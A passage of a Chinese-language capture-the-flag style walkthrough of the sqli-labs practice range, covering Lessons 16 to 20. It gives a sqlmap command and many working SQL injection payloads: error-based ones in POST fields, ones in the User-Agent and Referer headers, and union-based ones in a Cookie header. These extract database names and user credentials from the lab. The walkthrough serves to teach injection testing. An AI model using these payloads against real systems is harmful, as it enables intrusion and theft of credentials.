當然也可以直接設置參數(shù)進行掃描 sqlmap.py -u 'http://172.16.117.135/sqli/Less-16/' --data “uname=1&passwd=&submit=Submit” --dbms=mysql --flush-session -v 3 -D security -T users --dump --level=3 掃描結果如下: Lesson-17該題為單引號 post型注入,,利用方式包括報錯注入,、布爾盲注、時間盲注,,密碼重置界面以 post 方式接收變量 目標SQL語句如下: $uname = check_input($POST['uname']); $passwd = $POST['passswd']; $sql='SELECT username, password FROM users WHERE username=$uname LIMIT 0,1'; # 返回內容 if true: $update='UPDTATE users SET password = '$passwd' WHERE username='$row''; if 報錯: print_r(mysql_error()); 注意:本題由于過濾了$uname參數(shù),,唯一的注入點在update語句當中且只使用了單引號拼接。操作正確無提示,,因此只能使用報錯注入,、布爾盲注、時間盲注 使用報錯注入判斷注入點,,嘗試驗證 uname=admin&passwd=1'%20or%20'1'='1&submit=Submit //成功修改 查詢基礎信息 uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)#&submit=Submit uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)#&submit=Submit uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#&submit=Submit uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20@@version_compile_os()),0x7e),1)#&submit=Submit 查詢表名 uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'),0x7e),1)#&submit=Submit 查詢列名 uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'),0x7e),1)#&submit=Submit 查詢關鍵信息,,通過更改 limit 中的前后位數(shù)字可控制數(shù)據(jù)顯示位置以及數(shù)量 uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit 但這時候出現(xiàn)報錯,這是因為 注意:該問題只出現(xiàn)于MySQL,,MSSQL以及Oracle都不會出現(xiàn)這種問題,。 uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20*%20from%20(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1)%20a)),1)#&submit=Submit 也可以直接使用 floor 進行報錯注入(語句太長,一般記不?。?/p> uname=admin&passwd=1'%20and%20(select%201%20from%20(select%20count(*),concat_ws(0x7e,(select%20concat_ws(0x7e,id,username,password)%20from%20users%20limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a)%20b)%20where%20username='admin'#&submit=Submit Lesson-18該題為uagent post型注入,,利用方式包括報錯注入、布爾盲注,、時間盲注,,登錄界面以 post 方式接收變量并輸出了IP地址 目標SQL語句如下: $uagent = $_SERVER['HTTP_USER_AGENT']; $IP = $_SERVER['REMOTE_ADDR'] $uname = check_input($POST['uname']); $passwd = check_input($POST['passswd']); $sql='SELECT user.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1'; # 返回內容 if SQL語句有返回結果: $insert ='INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', '$uname')'; 輸出 $uagent; print_r(mysql_error()); if 報錯: print_r(mysql_error()); 注意:本題由于過濾了$uname、$passwd參數(shù),,唯一的注入點在insert語句當中,。我們需要輸入正確的賬號密碼才會用到 insert 語句,因此只能使用報錯注入,、布爾盲注,、時間盲注 在 PHP 中可用來獲取客戶端 IP 變量如下:
由于 使用報錯注入查詢基礎信息 User-Agent: 1' or updatexml(1,(concat(0x7e,(select user()),0x7e)),1) and '1'='1 User-Agent: 1' or updatexml(1,(concat(0x7e,(select database()),0x7e)),1) and '1'='1 User-Agent: 1' or updatexml(1,(concat(0x7e,(select version()),0x7e)),1) and '1'='1 查詢表名 User-Agent: 1' or updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)),1) and '1'='1 查詢列名 User-Agent: 1' or updatexml(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)),1) and '1'='1 查詢關鍵信息,通過更改 limit 中的前后位數(shù)字可控制數(shù)據(jù)顯示位置以及數(shù)量 User-Agent: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e)),1) and '1'='1 User-Agent: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e)),1) and '1'='1 Lesson-19該題為referer post型注入,,利用方式包括報錯注入、布爾盲注,、時間盲注,,登錄界面以 post 方式接收變量并輸出了IP地址 目標SQL語句如下: $uagent = $_SERVER['HTTP_USER_AGENT']; $IP = $_SERVER['REMOTE_ADDR'] $uname = check_input($POST['uname']); $passwd = check_input($POST['passswd']); $sql='SELECT user.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1'; # 返回內容 if SQL語句有返回結果: $insert ='INSERT INTO `security`.`referers` (`referer`, `ip_address`, `username`) VALUES ('$uagent', '$IP', '$uname')'; 輸出 $SERVER['HTTP_REFERER']; print_r(mysql_error()); if 報錯: print_r(mysql_error()); 注意:本題與Lesson18的利用方式相同,,只不過注入點由User-Agent換成了Referer當中 在 PHP 中可用來獲取客戶端 IP 變量如下:
由于 使用報錯注入查詢基礎信息 Referer: 1' or updatexml(1,(concat(0x7e,(select user()),0x7e)),1) and '1'='1 Referer: 1' or updatexml(1,(concat(0x7e,(select database()),0x7e)),1) and '1'='1 Referer: 1' or updatexml(1,(concat(0x7e,(select version()),0x7e)),1) and '1'='1 查詢表名 Referer: 1' or updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)),1) and '1'='1 查詢列名 Referer: 1' or updatexml(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)),1) and '1'='1 查詢關鍵信息,通過更改 limit 中的前后位數(shù)字可控制數(shù)據(jù)顯示位置以及數(shù)量 Referer: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e)),1) and '1'='1 Referer: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e)),1) and '1'='1 Lesson-20該題為Cookie post型注入,,利用方式包括聯(lián)合注入,、報錯注入、布爾盲注,、時間盲注,,登錄界面以 post 方式接收變量 目標SQL語句如下: if cookie 不存在 $uname: if 提交 $uname 和 $passwd $uname = $POST['uname']; $passwd = $POST['passswd']; $sql = select users.username, users.password from users where users.username=$uname and users.password=$passwd ORDER BY users.id DESC limit 0,1; $cookee = $row1['username']; # 返回內容 if 返回SQL查詢結果: setcookie('uname', $cookee, timne()-3600) else: print_r(mysql_error()); else: if POST 數(shù)據(jù)中沒有 $submit: $cookee = $_COOKIE['uname']; $sql = 'select * from users WHERE usernmae='$cookee' LIMIT 0,1'; if 無查詢結果: print_r(mysql_error()); else: 輸出查詢信息 else: setcookie('uname', $row1['username'], time-3600); 注意:本題源碼相對之前的較為復雜,注入點存在于cookie當中,,它會從cookie中讀取$uname并拼接至SQL語句當中從到造成注入,,與此同時還輸出了查詢信息。因此可以聯(lián)合查詢,、報錯注入,、布爾盲注、時間盲注 登錄成功后界面如下: 使用聯(lián)合查詢判斷字段數(shù) Cookie: uname=admin' order by 3# //返回正常界面 Cookie: uname=admin' order by 4# //返回錯誤界面 由此可說明字段數(shù)為3,,通過 union select 查看回顯位置 Cookie: uname=-admin' union select 1,2,3# 查詢基礎信息 Cookie: uname=-admin' union select 1,2,user()# Cookie: uname=-admin' union select 1,2,version()# Cookie: uname=-admin' union select 1,2,database()# 查詢表名 Cookie: uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'# 查詢列名 Cookie: uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'# 查詢關鍵信息 Cookie: uname=-admin' union select 1,group_concat(username),group_concat(password) from users# 0x04 總結該靶場是學習 SQL 注入的好途徑,,刷完全部題目后面對 SQL 注入的了解有很大幫助,整個靶場以 MySQL + PHP 搭建環(huán)境為主,,根據(jù)不同環(huán)境切換了 Windows,、Linux 以及 Tomcat 代理。如果想要測試目標點是否存在 SQL 注入,,我們應該從請求方式,、注入點閉合方式、請求頭部,、后端SQL語句以及注入方式等方面進行考慮,,確定了這些后再想方設法繞過站點中的 一些限制性因素情況等,其實這就是手工注入的魅力,,當然會使用 sqlmap 也是一件好事,,有了手工+自動兩種方式的結合,在面對一般的 SQL 注入問題都可以迎刃而解,。本文詳細講解了靶場環(huán)境搭建以及1-20關基礎注入的通過教程,,后續(xù)將持續(xù)推出21-65關通關教程。 |
|